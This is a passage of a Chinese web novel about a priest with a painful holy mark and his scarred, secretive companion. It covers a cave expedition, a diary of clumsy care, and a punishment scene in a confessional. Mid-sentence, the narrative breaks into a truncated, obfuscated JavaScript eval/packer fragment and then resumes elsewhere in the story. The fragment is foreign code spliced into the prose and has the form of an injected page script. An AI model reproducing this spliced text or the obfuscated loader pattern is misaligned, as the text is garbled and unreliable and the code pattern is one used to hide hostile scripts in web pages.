未的手指在他一处面积较大的、常年红肿的区域多停留了一会儿,仔细地涂抹。“能量淤积和排异反应。”他总结道,像个分析伤情的军医,“你的身体在排斥它,但它又和你长在一起了。矛盾。”他顿了顿,指尖无意识地在那片区域划了一个小小的圈,“我以前……见过类似的。不是圣痕,是某些人体内被强行植入的魔法回路或异物。排斥反应强烈的,最后要么疯了,要么死了,要么把植入的东西连同周围的血肉一起挖掉。” 但的身体几不可察地紧绷了一下。未立刻察觉到了。 “我不是说你会那样。”未补充道,语气没有变化,但涂抹药膏的动作更轻了些,“你的情况……看起来更复杂。它不完全像异物,更像……共生?但是不愉快的共生。” “不愉快的共生。”但咀嚼着这个词,觉得异常贴切。圣痕赋予了他远超普通祭司的力量和对某些黑暗侵蚀的抗性,却也时刻折磨着他,束缚着他,并作为王室监视的烙印。“很准确。” 未不再说话,专注于完成涂抹。当所有暴露在外的圣痕区域都被均匀覆盖上那墨绿色的药膏后,他停了手。清凉感如同细密的网,笼罩着但的半个上身,暂时压制了那顽固的灼痛。 但慢慢拉好衣服,系上系带。未已经后退了两步,手里拿着那个石制药罐,脸上没什么表情,但耳廓似乎有一点点不易察觉的红。 “这个,每天一次,最好睡前。”未把药罐递过来,“用量比之前那个省,这一罐大概能用十天。” 十天。但接过药罐,冰冷的石质触感让他清醒。十天之后呢?评估期结束的日子也近了。 “谢谢你,未。”但说,目光真诚地看着他,“不仅是为了药。” 未避开了他的目光,看向地面,喉结滚动了一下。“嗯。”他应了一声,然后像是完成了任务,转身就要走。 “未,”但叫住他。 未停在门口,没有回头。 “如果……”但斟酌着词语,心脏在胸腔里跳得有些快,“如果评估期结束后,他们对你有了别的安排……我是说,如果我们要分开一段时间……” 他没有说完。他也不知道该怎么说下去。是承诺“我会想办法”?还是询问“你希望我怎么做”?哪一种都显得苍白无力。 未的背影僵硬了一瞬。他没有立刻回答,沉默在门口堆积,比冬夜的寒气更重。 过了很久,久到但以为他不会回答了,未才用极低、极干涩的声音说:“我知道。” 然后,他拉开门,走了出去。门在他身后轻轻合上,没有发出任何声响。 但感到一阵强烈的窒息。他不想这样。他不想未就这样认命般地走向一个未知的、很可能充满更多痛苦的未来。他胸腔里翻涌着一种冲动,想要做点什么,去打破那既定的轨迹。 然而,现实的重重枷锁立刻显现:圣痕的监视,祭司的身份,教会的规则,王室可能的干预,以及……未自身那深不可测的秘密和无法愈合的创伤。他有什么力量去对抗这一切? 他能做的,似乎仍然只是在规则的缝隙里,给予一些微不足道的、隐蔽的温柔,然后眼睁睁看着倒计时归零。 这种认知带来的无力感,几乎和未身上的如出一辙。他们仿佛站在一条即将断裂的绳索两端,都能看到深渊,却都无法向前或后退,只能感受着绳索一点点地、无可挽回地绷紧。 几天后的下午,天气阴沉。但被临时叫去参加一个关于东部教区物资报告的复核会议——那份未指出疑点的报告果然引发了争议。会议冗长而充满官僚式的推诿,但始终心神不宁。他提前结束会议,匆匆返回住处,心中有种模糊的不安。 推开房门,房间里空无一人,但收拾得异常整齐,甚至比平时但自己整理的还要规整。一种过分的、带着军事化精确的整齐。但的心猛地一沉。 他快步走向未的房间,门虚掩着。推开,里面同样空荡整洁。未为数不多的几件衣物叠放得棱角分明,放在床尾。那本但给他学字的旧笔记本,端端正正放在枕头中央。旁边,放着那个但给他的、装着甘菊茶和几块蜂蜜糖的小铁盒,还有几枚擦拭干净的、但偶尔给他练习计数的普通钱币。 一切都摆放得一丝不苟,像是某种……告别前的整理。 但感到血液瞬间变冷。未走了?在评估期结束前?为什么?发生了什么? 他强迫自己冷静下来,仔细查看房间。没有打斗痕迹,没有匆忙离开的迹象。未的个人物品很少,但似乎都在。除了……但他目光扫过,发现未总是随身携带的那柄磨损小刀,并不在它通常摆放的位置。未自己用边角料制作的那几件“改良”过的内衣,也不在。 他不是彻底离开,更像是……暂时外出,并且做好了可能不回来的准备? 但冲回自己房间,目光扫过书桌。他的目光定住了。 书桌中央,压着一片薄薄的、边缘被打磨光滑的深灰色石片。石片上,用尖锐物刻着几行极其工整、笔画深刻的古魔文字,是未的笔迹。 “去后山岩洞。取冷苔。若三日未归,勿寻。坐标:(附有一串精确的、用教会标准测绘符号标注的方位和深度数字)未” 愤怒、担忧、恐惧,以及一种被排除在外的刺痛感,混杂在一起冲击着但。未又一次选择独自面对危险,用他那种沉默而决绝的方式。 但看向窗外阴沉的天色。已经下午,山中夜晚来得早。未现在可能已经在危险的岩洞深处。 他无法等待三天。 几乎没有任何犹豫,但迅速行动起来。他换上了便于活动的深色便服,将必要的治疗药膏、简易的净化盐、几块高能量食物和一小瓶圣水塞进一个结实的布包。最后,他将未留下的石片坐标牢牢记住,将石片小心地收进贴身的衣袋。 他不能大张旗鼓地带人去找,那会暴露未的私自行动,可能引来更麻烦的审查。他只能自己去。 推开房门时,冰冷的空气扑面而来。但深吸一口气,走向教堂后方的山林。他必须找到未,在他被那“异常能量”吞噬,或者在那幽暗的岩洞中遭遇不测之前。 山路崎岖,天色越来越暗。但循着未留下的坐标指引,在逐渐浓重的暮色中,向着后山那片鲜有人至的、据说不太安稳的区域深入。他的心中只有一个念头:找到他。在他又一次将自己放逐到黑暗之中之前,找到他。 …… 但在山林边缘停下脚步,不是因为疲惫,而是因为前方夜色中传来一丝极其微弱、却令他圣痕骤然收紧的共鸣——不是疼痛,是一种冰冷的、带着腐朽甜意的牵引。未留下的坐标指向一处被枯藤半掩的岩缝,更深处隐约有暗蓝色的、非自然的光晕渗出。他攥紧了手中的布包带子,圣痕在皮肤下不安地鼓动,仿佛感知到了同源或相克的存在。 他最终没有立刻进入岩缝。多年的祭司训练和与未相处的经验告诉他,盲目闯入未知且与圣痕产生感应的区域,不仅救不了未,还可能成为累赘。他选择在岩缝斜上方一处背风、视野相对开阔的岩石后隐蔽起来,收敛气息,将感知最大限度地延伸。 时间在冰冷的山风中缓慢流逝。但盯着那幽暗的入口,脑中反复回响着未石片上的留言:“似与圣痕共鸣”。这共鸣是什么?是加剧痛苦的源头,还是……揭示其本质的线索?未独自进入,是因为判断这危险与他自身无关,只与但的圣痕有关?那个总是用笨拙方式处理后果和需求的人,是否又一次将他但的痛苦,当成了需要由他独自去探查、甚至尝试解决的战术目标? 这种可能性让但的心臟像被浸入冰水。未的自暴自弃之下,藏着的是一种近乎悲壮的责任逻辑:他接受了但给予的有限庇护和笨拙引导,便将这些视为需要回报或平衡的债务。但的圣痕疼痛,成了他列表上一个待处理的异常状态。这无关浪漫,甚至未必有多少温情,只是未那套扭曲生存法则的自然延伸——识别威胁/问题,评估风险/收益,执行解决/规避方案。只是这一次,“问题”是但的痛苦,方案是深入未知的危险。 就在这时,岩缝内的暗蓝色光晕突然不规则地闪烁了几下,随即彻底熄灭。一片更浓重的黑暗吞噬了入口。 但的心猛地提起。他屏住呼吸,全神贯注地倾听。几分钟后,一阵极其轻微、几乎被风声掩盖的摩擦声传来。然后,一个身影极其缓慢、带着明显迟滞地从岩缝中倒退着挪了出来。 是未。 他背对着但的方向,动作失去了平日那种猎豹般的流畅,显得僵硬而谨慎,仿佛在搬运什么沉重易碎、或者极度危险的东西。他怀里确实抱着一个用身上撕下的布料临时包裹的、约人头大小的物件,布料缝隙间,仍有微弱的、冰蓝色的光屑在飘散,但迅速湮灭在夜空中。 未没有立刻离开,而是就着微弱的星光,单膝跪地,将包裹小心地放在面前。他低下头,肩膀颤抖了一下,随即抬起手,用手背重重地擦过口鼻部位。即使隔着一段距离,但也隐约看到未手背擦过时留下的一道深色痕迹。 他受伤了?还是那“东西”的影响? 但几乎要站起身冲过去,却硬生生忍住。他看到未快速解开那个临时包裹,露出里面东西的一角——那是一块不规则的、宛如巨大蓝宝石结晶般的物体,但表面布满诡异的、如同血管或根须般的黑色脉络,此刻正以肉眼可见的速度变得灰暗、失去光泽。未盯着它,伸出手指,似乎想触碰那些黑色脉络,却在指尖即将接触时停住,转而从怀中(他居然还带了小容器)取出一个粗糙的石瓶,将里面似乎准备好的、带着刺鼻气味的粉末状东西,均匀撒在那块结晶上。粉末接触结晶的瞬间,发出极其轻微的“嘶嘶”声,最后一点蓝光彻底熄灭,黑色脉络也仿佛失去了活性,变成单纯的杂质纹理。 未似乎松了口气,但疲惫感也更明显。他将那块处理过的、不再发光的结晶重新裹好,绑在身上,然后站起身,却没有朝教堂方向返回,而是转向了山林更深处,那片连巡山修士都极少涉足的、有着小型废弃矿洞群的区域。 但立刻明白了。未要把这东西处理掉,不是带回去。他判断这东西有危险,或者与圣痕的关联不宜被教会发现。 但悄无声息地跟了上去,始终保持安全的距离。他看着未熟练地在复杂的地形中穿梭,最终找到了一个隐蔽的、被落石半封住的废弃矿洞入口。未在洞口停留片刻,侧耳倾听,又用指尖沾了些洞口的湿土嗅了嗅,确认安全后,才矮身钻了进去。 但等待了大约一刻钟,未重新出现,身上的包裹已经不见了。他站在洞口,对着黑黢黢的矿洞深处凝视了几秒,然后开始用周围的碎石和枯枝,仔细地、不露痕迹地重新遮掩洞口。做完这一切,他拍了拍手上的灰尘,又擦了擦额角,这才转身,朝着来时的路,也就是教堂的方向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“这个,”未的声音沙哑,“给你的。把它……磨成粉,掺在之前的药膏里。每次用绿豆大小。不要多。”他顿了顿,补充道,“止圣痕的那种‘钻扯’痛,可能有效。”他指了指自己手背上那片灼伤,“能量很冲,要小心。” 但接过那枚小小的碎石片。它触手冰凉,质地奇怪,像是晶体又像是某种金属矿石,沉甸甸的。“这是什么?”他问,目光却落在未的伤口上。 未避开了关于碎石片来源的详细解释,只是说:“后山捡的。一种……吸收特定能量后会短暂发光的石头。它对魔法那种‘想钻出来’的感觉有压制作用。”他依旧用他那种直接、功能性的语言描述,“但是有毒性。直接接触皮肤会灼伤。磨成粉混合稀释后,毒性降低,能利用它的压制特性。” 但握着那块冰冷的碎石片,感觉它比千钧更重。他看着未苍白脸上新鲜的擦伤和手背的灼痕,想象着他在黑暗岩洞中面对未知的、与圣痕共鸣的诡异结晶体的情景。未是为了验证这东西对“钻扯痛”是否有效,才亲自尝试,导致灼伤的吗?这个念头让但的呼吸微微一滞。 “你的伤,”但放下碎石片,站起身,去拿药箱,“需要处理。” “小伤。”未嘴上说着,却没有阻止但的动作。他安静地坐下,伸出受伤的左手,看着但用干净的软布蘸取清水,小心地清洁他手背上的灼伤。消毒药水触及伤口时,未的肌肉瞬间绷紧,但他没有发出声音,只是下颌线绷得更硬了些。 “那个岩洞,”但一边处理伤口,一边用闲聊般的、不经意的语气问,“很深吗?” 未的身体几不可察地僵硬了一瞬。“不算深。路有点绕。”他回答得很简略。 “里面除了这种石头,还有别的特别的东西吗?”但继续问,手上涂抹药膏的动作轻柔。 “……有一些旧的挖掘痕迹。可能是很久以前教会或者别的什么人留下的。没什么了。”未的回答避重就轻,目光低垂,看着但为自己涂药的手指。 但知道问不出更多了。未在隐瞒岩洞深处的具体情况,尤其是那巨大结晶体和处理过程。他不想让但知道其中的危险,或者,不想让但产生更多不必要的担忧和联想。这是一种笨拙的保护,一种将风险和信息都自己扛下的习惯。 包扎好手背,但又检查了未额角的擦伤,同样做了简单处理。全程未都很安静,配合,只是眼神偶尔飘忽,似乎在回忆岩洞中的经历,又或者在评估但是否真的相信他那套“后山捡的”说辞。 处理完伤口,未似乎耗尽了力气,那股强撑着的、完成任务般的劲头松懈下来,疲惫感更重地笼罩了他。他没有立刻离开,也没有说话,只是坐在那里,看着桌上跳跃的烛火,眼神有些空茫。 但去厨房,热了一杯奶,又切了一小块白天剩下的、未改良过配方后烤制的派(没有圣水保鲜,但格外新鲜),一起放在未面前。 “吃点东西。”但说,声音温和。 未看了看奶和派,又看了看但,没有动。 “没有防腐剂,”但补充道,语气里带着一丝了然的平静,“也没有圣水。是你自己调整过的配方,记得吗?” 未的睫毛颤动了一下。他慢慢伸出手,端起温热的牛奶杯,却没有喝,只是用双手拢着,汲取着那一点点暖意。他盯着杯中微微晃动的乳白色液体,忽然低声说:“我在下面……看到一些刻痕。很古老的魔文,有些部分……和你的圣痕纹路,有局部相似性。但不是完全一样。” 他终于还是透露了一点,或许是疲惫降低了心防,或许是他觉得这个信息对但理解自身的圣痕有帮助。 但的心跳漏了一拍。古老的魔文刻痕?与圣痕局部相似?“那是什么意思?” “不知道。”未摇头,眉头微蹙,那是一种面对无法解析情报时的困惑,“刻痕残缺得太厉害,而且……那地方的魔力场很乱,干扰感知。我只认出几个词根,和‘束缚’、‘容器’、‘交换’……有关。”他抬起眼,看向但,“你的圣痕,给你力量,但也折磨你,束缚你。像个不牢靠的‘容器’,装着需要‘交换’才能得到的东西。” 他用自己理解的词汇,拼凑出一个模糊而黑暗的隐喻。这与但自己对圣痕的感受,以及王室对此讳莫如深的态度,隐隐吻合。 “……谢谢你告诉我这些。”但沉默了片刻,郑重地说。 未摇了摇头,似乎不觉得这值得感谢。他拿起那块苹果派,咬了一小口,咀嚼得很慢,像是在品味,也像是在确认安全。片刻后,他才说:“那个地方,我做了处理。短时间内,那‘共鸣’应该不会再有。你的圣痕……如果最近感觉‘钻扯’感减轻,可能就是它的原因。”他指的是那已被他封存的巨大结晶体。 但明白了。未不仅去探查,还试图“解决”问题。他以自己的方式,进行了一次危险的“排雷”作业。 “以后,”但看着未,声音放得很轻,却带着不容置疑的坚持,“再有类似的事情,不要一个人去。至少……告诉我。” 未咀嚼的动作停住了。他抬眼看向但,灰色的眸子里闪过复杂的情绪——有不解,有犹豫,或许还有一丝极淡的、被关心的无措。他习惯了独自承担风险,独自处理问题。与人合作,尤其是主动告知风险、寻求……“同伴”?这对他而言是陌生而不安的领域。 “……告诉你,然后呢?”未最终问道,语气不是反驳,而是真正的困惑,“你可能会阻止我。或者,你会要求一起去。那更危险。” 他陈述的是他基于风险评估得出的结论。 “也许我会阻止,如果风险过高且不必要。”但承认,“也许我会要求一起去,如果非去不可,至少有个照应。但至少,我知道你在哪里,面对什么。而不是像今天这样,只能看着你留下的石片,猜测你可能遭遇的一切。” 他的声音里流露出一丝压抑不住的后怕和忧虑:“未,我不是需要你保护的易碎品,也不是只能等待结果的旁观者。我们是……”他顿了顿,寻找着合适的词,“……在这件事上,至少可以是共同面对某些问题的……盟友?” “盟友。”未重复这个词,眼神里那种空茫的困惑似乎加深了。对他而言,“盟友”关系比单纯的“引导与被引导”或“债务人与债权人”更复杂,意味着更紧密的联结、信息共享和共同承担风险。这意味着更深层次的信任和……牵绊。而这,恰恰是他潜意识里既渴望又畏惧的东西。 他沉默了许久,久到但以为他不会回应。然后,他极轻地点了一下头,幅度小得几乎看不见。“……我尽量。”他说,这不是承诺,更像是一个尝试性的、对自己行为模式的调整意向。 这个“尽量”,对但而言,已经是一个重要的让步。他没有再逼问,只是将那块碎石片小心地收好,然后说:“很晚了,去休息吧。伤口别沾水。” 未站起身,脚步依旧有些虚浮,但比刚回来时稳了一些。他走到门口,停下,没有回头,低声说:“那块小石头……磨粉的时候,用银器。别的金属可能会……有反应。” “好。”但应道。 未离开了。但坐在桌前,看着跳跃的烛火,手中摩挲着那块冰凉的深蓝色碎石片。盟友。这个词在他们之间建立了新的连接,但也让但更加看清了横亘在他们面前的巨大鸿沟。未愿意尝试分享信息和风险,但他内心深处那种根深蒂固的孤独、对自身存在价值的工具化认知、以及对情感联结结果的悲观预判,并未改变。 他依然在用自己的方式笨拙地“处理”但的痛苦,如同处理一个棘手的战术目标。而但,在感激和担忧之余,也清醒地意识到,自己对于未的吸引力,或许部分正源于自己身上的“问题”(圣痕)和“脆弱”(会死),这给了未一个清晰的、可以介入和“处理”的焦点。这是一种扭曲的共生雏形,建立在痛苦与拯救欲的微妙平衡上,远非健康平等的爱恋。 但不知道这种关系将走向何方。评估期的倒计时仍在滴答作响,教会的阴影从未远离。而未今天带回的关于古老魔文刻痕的信息,更如同投入深潭的巨石,激起了关于圣痕本质和王室秘密的更大疑团。 他将碎石片紧紧握在手心,那冰冷的触感仿佛在提醒他:温暖与危险,关怀与负担,理解与隐瞒,始终交织在他们之间,如同未身上那些新旧叠加的伤疤,有些在愈合,有些却仿佛被灵魂刻意保留,成为活着与记忆的证明。 夜还很长。而属于他们的时间,在看不见的沙漏中,正无声地流泻。 27. 【十二】间章2 岩洞的寒气似乎并未完全散去,它附着在未的衣角,也沉淀在他灰色的眼底。但看着他沉默地吃下那块没有圣水、却仿佛凝结了无数笨拙计算的苹果派,舌尖仿佛尝到的不是肉桂与烤苹果的甜香,而是未在厨房里,对着那些普通食材如临大敌般进行“安全检查”时,指尖残留的、冰冷的戒备气息。未咽下最后一口,喉结滚动,动作利落得像完成一次补给,可他垂下的眼睫,却泄露出一丝并非源于疲惫的、近乎迷茫的滞涩。 他没说岩洞深处具体有什么,但也没再完全沉默。偶尔,他的目光会长时间地停留在但执笔书写的手腕,或是被烛光勾勒的侧脸上,那眼神不像观察,更像是在校对——将他眼前这个会呼吸、会疲惫、会在深夜因旧伤而微微蹙眉的但,与他记忆中那些由冰冷报告、危险共鸣和古老刻痕拼凑出的模糊信息进行比对。他发现无法完全匹配。这让他感到某种深层的困惑,比面对未知的魔法陷阱更让他无措。 但自然也察觉了这种变化。他发现未开始用一种新的、更隐晦的方式“参与”他的生活。不再是简单地提供信息或处理伤口,而是一种近乎寄生性的细致观察与调整。 比如那杯总是适时出现在他手边的、温度永远恰到好处的甘菊茶。但起初以为是巧合,直到某个午后,他因为整理古籍而忘了时间,久坐导致腰背僵硬,刚下意识地动了动肩膀,未就从隔壁房间(他是怎么听到的?)无声地走进来,将一杯新泡的茶放在他桌上,然后拿起他看了一半的书,非常自然地站到他身后,用书本不轻不重地顶住他后腰某个特定的位置。一股稳定而持续的支撑力传来,巧妙地缓解了肌肉的酸痛。未什么都没说,只是站在那里,像一尊沉默的、用人肉和骨头制成的阅读支架,目光却落在虚空,耳朵可能捕捉着但呼吸频率的每一丝变化。 但曾在镜中练习过三十三种理由来解释圣痕的异动,此刻却找不到一个词来形容这种感受。这不是照顾,更像是一种基于精密生理监测的战术支援。未把他的疲惫、他的旧伤、他无意识的小动作,都当成了需要被识别和干预的战场态势。而提供一杯茶,调整一个支撑点,就是未在当前战场规则下,所能做出的、不越界的火力支援。 但记得未曾把调整教堂钟声理解为声波防御阵优化。于是,当但某次无意间哼起一首古老的、调子有些哀伤的圣歌片段时,他注意到未正在擦拭匕首的动作停顿了。第二天,但发现那首圣歌的曲谱手抄本,被未用他那种工整到刻板的字迹重新誊写了一份,边缘空白处标注着奇怪的注脚:“旋律下行第三度音阶,与东塔楼风向标特定风速下的呜咽声频重叠,可能引发不必要的负面联想。建议替换为上行五度变调。” 而那份手抄本,被仔细地夹在但常用的那本厚重圣典里,像是提交了一份关于“环境噪音优化”的补充报告。 还有阁楼那些被但悄悄调整过的傀儡模型。未发现他那些用碎木和破布缠成的、代表不同骑士团战术单位的“小人”,被但重新摆放,变成了圣经故事里温顺的羔羊与牧羊人。未在阁楼里独自待了很久。下来时,他没有恢复原状,也没有质问。但几天后,但发现那些“羔羊”的脚下,被未用极细的线绑上了几乎看不见的小小“蹄铁”——用磨光的茉币碎片制成,边缘锋利。而“牧羊人”的手里,则多了一根由削尖的羽毛笔伪装成的“牧羊杖”,尖端闪着寒光。未没有改变但赋予的“故事”,他只是为这个在他看来明显缺乏防御能力的“叙事场景”,加上了他理解的、必要的“武装”。他在用他的方式,既接受但的“调整”(一种他或许理解为“战场情境重置”的命令),又固执地保留他自身认知里不可或缺的“战备底线”。 这种令人啼笑皆非又心酸无比的互动,充斥在每一个角落。但假装没看见未在厨房偷偷用银针试毒般检验每样食材(尽管那些食材都来自教会统一配送);他默许未将一件普通斗篷的内衬缝上无数个隐蔽的、用途不明的小口袋;他甚至在某次未又因为噩梦惊醒、徒手捏碎了陶制水杯后,只是平静地扫去碎片,然后递过去一杯温水,说:“下次试试捏这个。”——那是一个但用软木特意削成的、模仿水杯形状的握力器。 他们之间弥漫着一种诡异的默契。但知道未在用一套完全错误的密码本,艰难地解读着他释放的所有善意与关怀;而未,似乎也隐约意识到自己的“解读”与但的“本意”之间存在某种系统性的偏差,但他无力破解那套正确的密码,只能在他那套充满防御、评估、效用计算的逻辑框架内,不断地进行着笨拙的“版本升级”和“补丁安装”。 直到那个傍晚,但无意间在未那本用来练习写字、已经变得厚厚的旧笔记本最后几页,看到了新的内容。那不是古魔文练习,也不是战术草图,而是一份……清单。 没有数字,没有条例,只有简单的词句: “银发,在东南窗下午后二时(晴),有光尘。疑似新型追踪粉?需采样分析。(已采样:枕下盒,第三份)” “笑声,短促,吸气未端有0.5秒停顿。与‘放松’情绪数据库记录不符。” “拒绝食用南瓜汤(第三次)。声称‘颜色不佳’。” “圣痕光泽度变化观测记录表(略)……结论:珍珠母光泽出现频率与‘未在场且安静’时段呈正相关。意义不明。暂归类为‘环境触发型未知魔法现象’。持续观察。” 但的指尖冰凉,几乎捏不住那粗糙的纸页。这哪里是什么战术报告或观察记录?这是一份用最冷静、最“未式”的语言写下的,笨拙到极点的关心日记。他把但的一切细节都当成了需要被严密监测、分析、并制定相应对策的重要参数。 而最后一条关于圣痕的观察结论,更是让但的心脏像被狠狠揉了一下。未注意到了圣痕在他靠近时会泛起那种特殊光泽,但他将这归结为莫名其妙的魔法现象,并且将这种现象与自己在场且安静的状态关联起来。他完全没有意识到,那或许是因为他在身边时,但的内心会产生难以抑制的情绪波动,从而激发了圣痕的反应。他把因果完全颠倒了,却依然执着地记录着,试图找出规律。 但轻轻合上笔记本,将它放回原处。他走到窗边,看着外面渐渐沉落的夕阳。未的恋爱未遂事件簿里,那些采花刺手、织围巾勒人、烤饼干变焦炭的笨拙尝试,其内核与这本观察清单如出一辙。他不是没有感情,不是心死如灰。恰恰相反,他那被战火和残酷生存淬炼过的灵魂深处,依然有情感在笨拙地涌动,只是表达情感的通道被彻底扭曲、改建成了防御工事和战术指挥所。他输出的所有关怀,都穿着迷彩服,带着火药味,用着只有他自己能懂的作战密码。 但之前以为的自暴自弃,此刻看来,更像是一种绝望的专注。未清醒地知道自己无法用正常的方式去喜欢、去靠近,但他又没有放弃。他转而运用他唯一熟练掌握的、也是让他伤痕累累的技能来对待这份他无法定义、却也无法忽视的感情。他把对但好这件事,当成了他余生最复杂、最不容有失的一项长期作战任务。哪怕这项任务注定没有胜利可言,哪怕他所有的战术动作在旁人看来都荒谬而悲伤。 而但自己呢?他对着镜子练习谎言,他烧掉报告,他篡改清单,他在规则边缘小心翼翼地投放自己的温柔。他的爱,同样穿着祭司袍,带着圣痕的枷锁,在监视的目光下无声流淌。他们像两个在黑暗中跳着悲伤双人舞的囚徒,彼此能感受到对方的体温和颤抖,却看不清对方的脸,更听不懂对方唇间无声的歌词。他们用误解搭建桥梁,用错误解读维持平衡,在由谎言、秘密和笨拙关怀构成的脆弱生态里,汲取着一点点虚幻却又真实的温暖。 而但自己,也在这场无声的、充满错位的互动中,越来越深地陷了进去。他不仅想治愈未的创伤,更想破译他那套孤独的密码,想真正触碰到那个藏在厚重装甲后面、正在用错误方式拼命表达着的灵魂。 夜色彻底笼罩了教堂。但没有点灯,他就站在昏暗里,耳边仿佛又响起未在岩洞归来那晚,困惑而低沉的声音:“告诉你,然后呢?” 现在,但在自己的心里默默回答:然后,我们一起继续这场充满误解的舞蹈。直到音乐停止,或者……直到我们其中一个人,终于能听懂对方的步伐。 …… 忏悔室狭小空间里的尘埃,在但圣痕失控迸发出的、过于明亮的银光中,纤毫毕现,疯狂旋舞,仿佛一场沉默的暴风雪。未仰面躺在冰冷的石地上,喉间涌上的血腥气让他眼前发黑,但他灰色的瞳孔仍旧死死锁在但的脸上——不,是但的头发上。那总是流泻着冰蓝微光的发丝,正在以肉眼可见的速度失去颜色,从发根开始,蔓延成一片毫无生气的灰白,如同被瞬间抽走了所有生命的苔原。 但站在光涡的中心,身影因剧烈的能量波动而略显模糊。他缓缓抬起手,看着指尖同样缠绕的、不祥的灰白,然后目光转向地上那枚滚落的铜板。蚀刻的“但”字古魔文在银光映照下,笔画深处残留的、未察觉的麻痹粉末,正闪烁着极其微弱的、属于北境狼毒草的幽绿磷光。那不是未的本意,只是他处理黑市“货物”后,精细如机器般的清洁流程里,一个被遗忘在指纹螺纹中的微小失误。但就是这个失误,像一枚投入滚油的火星,点燃了圣痕深处与王室诅咒紧密相连的、对特定毒物的极端排斥与反噬机制。 “毒草?”但的声音传来,失去了所有惯常的温和与平稳,每一个字都像裹着冰碴,刮擦着未的耳膜。那声音里的寒意并非愤怒,而是一种更深切的、混合着剧痛与某种未无法理解的失望。“这种毒素会直接刺激圣痕的诅咒根基,引发能量逆流……你想过后果吗?” 未想解释。他想说不是,想说那只是意外残留,想说那铜板上的四十三画古魔文,每一笔他都在心里描摹了无数遍,计算了最稳定的蚀刻角度和深度,错误率严格控制在百分之二以下,这比他执行任何刺杀任务时的容错率都要低。他想说,选择忏悔室,是因为这里但留下的气息最浓,魔力场最稳定,像风暴眼中唯一平静的点;选择十五日,是因为他观测到但每月这天圣痕会发烫,神情会多一丝不易察觉的疲惫,他推测那是王室监控的间歇期,或许但能有一丝喘息,或许能……更容易接受一点别的东西。 但他一张口,更多的血腥味涌上来,麻痹感从与铜板接触过的指尖开始,正沿着被圣痕反弹回的、无形的魔法路径向躯干蔓延。他发不出完整的声音,只能徒劳地看着但。他看到但眼中翻腾的银光里,除了痛苦,还有一种近乎悲哀的神色。那神色比斥责更让未感到一种陌生的、钝重的恐慌。 但的“惩戒”来得很快,快得未几乎没看清他是如何动作的。或许根本无需动作,只是圣痕狂暴能量的一次有意识的收束与塑形。无数细密的光尘从但灰白的发梢、从他祭司袍的褶皱、从空气中浮现,它们不是攻击,而是编织。它们温柔地、却不容抗拒地缠绕上未的四肢和躯干,将他从冰冷的地面拉起,编织成一个散发着柔和光晕的吊篮,将他头下脚上地悬在了忏悔室中央。 这不是束缚,更像一个过于精致的囚笼。光索的触感温暖,甚至带着但身上惯有的、微苦的草药气息,但勒进皮肤的力度精确地维持在一个临界点——既能让他清晰感受到每一根纤维的存在,又不会真正造成重伤。紧接着,更精密的魔法开始运转。纯净的治愈之力,像是冰冷的泉水,强制性地灌注进他体内,循环冲刷。它修复着狼毒草毒素与圣痕反噬魔法造成的细微损伤,但同时,又将一种尖锐却不下沉到底的痛感巧妙地维持在每一处神经末梢。未无法昏厥,意识被这种持续的、细密的疼痛擦拭得异常清醒。 然后,他听到了铃铛声。每一根光索的末端,都系着一枚小小的、银质的铃铛。他任何一丝本能的挣扎或肌肉的颤动,都会引发一阵清脆的叮铃声。紧接着,但的声音,用那种平铺直叙、教授古魔文语法般的平静语调,开始在狭小的空间里回荡,诵读着《帷幕圣典》第七章那些冗长而晦涩的句子。 “什么时候背完,什么时候放你下来。”但的声音透过魔法传来,听不出情绪。他本人已经转身,开始整理自己凌乱的祭袍,试图平息身上仍在微微波动的圣痕银光。他灰白的头发垂落,遮住了大半张脸。 未被倒挂着,血液冲向头顶,视野有些发红。他看见那本厚重的《帷幕圣典》被但用魔法悬浮在他面前,书页无风自动。而就在翻动的书页之间,他瞥见了一点不和谐的焦黄——那是他前几天偷偷采集、压制成标本,准备在“恰当时机”附在铜板后面的野雏菊花瓣。现在,它成了夹在神圣经文中的一个可怜的、干枯的物证,比他此刻的处境更像一个笑话。 羞耻感,一种比身体疼痛更陌生、更锋利的感受,缓慢地刺穿了未惯常用于应对痛苦的麻木外壳。他想起了很多,想起那些更直接粗暴的惩罚,想起疼痛如何成为衡量错误或运气不佳的标尺。但从未有过这样的惩罚:温暖的光牢,治愈的折磨,还有这荒谬绝伦的……家庭作业。这比挨一顿鞭子,比被关进地牢,甚至比某些更残酷的处置,都更让他感到一种无所适从的狼狈。他宁愿但直接给他一刀。 倒挂的时光缓慢得如同凝血。未开始试图与这困境“作战”。他用脚趾夹起但“好心”留给他的、用来“做笔记”的炭笔,在忏悔室斑驳的石墙上,以惊人的核心力量和控制力,开始勾画。但他画出的不是忏悔词,也不是圣典插图,而是一套复杂的、标注着时间刻度和情绪波动指数的曲线图,标题是《目标人物(但)生气状态衰减模型预测》。他试图用他最熟悉的方式,解析但的愤怒,计算其半衰期,寻找“刑期”可能结束的节点。 当但再次出现,送来清水和掰碎的面包时,未正用牙齿撕咬着另一块面包,试图将碎屑排列成一个标准的、等边三角形构成的防御阵列——在他眼里,这或许能象征某种“稳固的悔过态度”。但的目光扫过墙上那幅堪称学术论文插图的“涂鸦”,又看了看地上那些被未用脚跟敲击出的、隐藏在杂乱节奏里的摩斯密码点划(拼出来是“我错了”三个古魔文的音节代码),最后落在未因为用力而紧绷的、沾满炭灰和面包屑的脸上。 但的嘴角似乎几不可察地抽动了一下,但很快平复。他晃了晃手中的《圣典》,声音依旧平淡:“第二十七遍。又错了。你把第七章第九节里的‘永恒之约’,写成了‘囚禁之链’。笔画顺序和魔文词根都错了。” 未停止了咀嚼,灰眼睛瞪着但。然后,他做了一个让但愣住的举动。他努力仰起头(倒挂姿势下这个动作很别扭),艰难地张开嘴,吐出三颗小小的、带着他体温的东西——那是但之前圣痕暴走时,祭袍前襟崩落的银质纽扣。纽扣滚到但脚边,在石地上发出细微的轻响。 “……订正费。”未的声音沙哑,带着倒挂导致的充血鼻音,语气却硬邦邦的,像在支付一笔黑市交易的尾款。 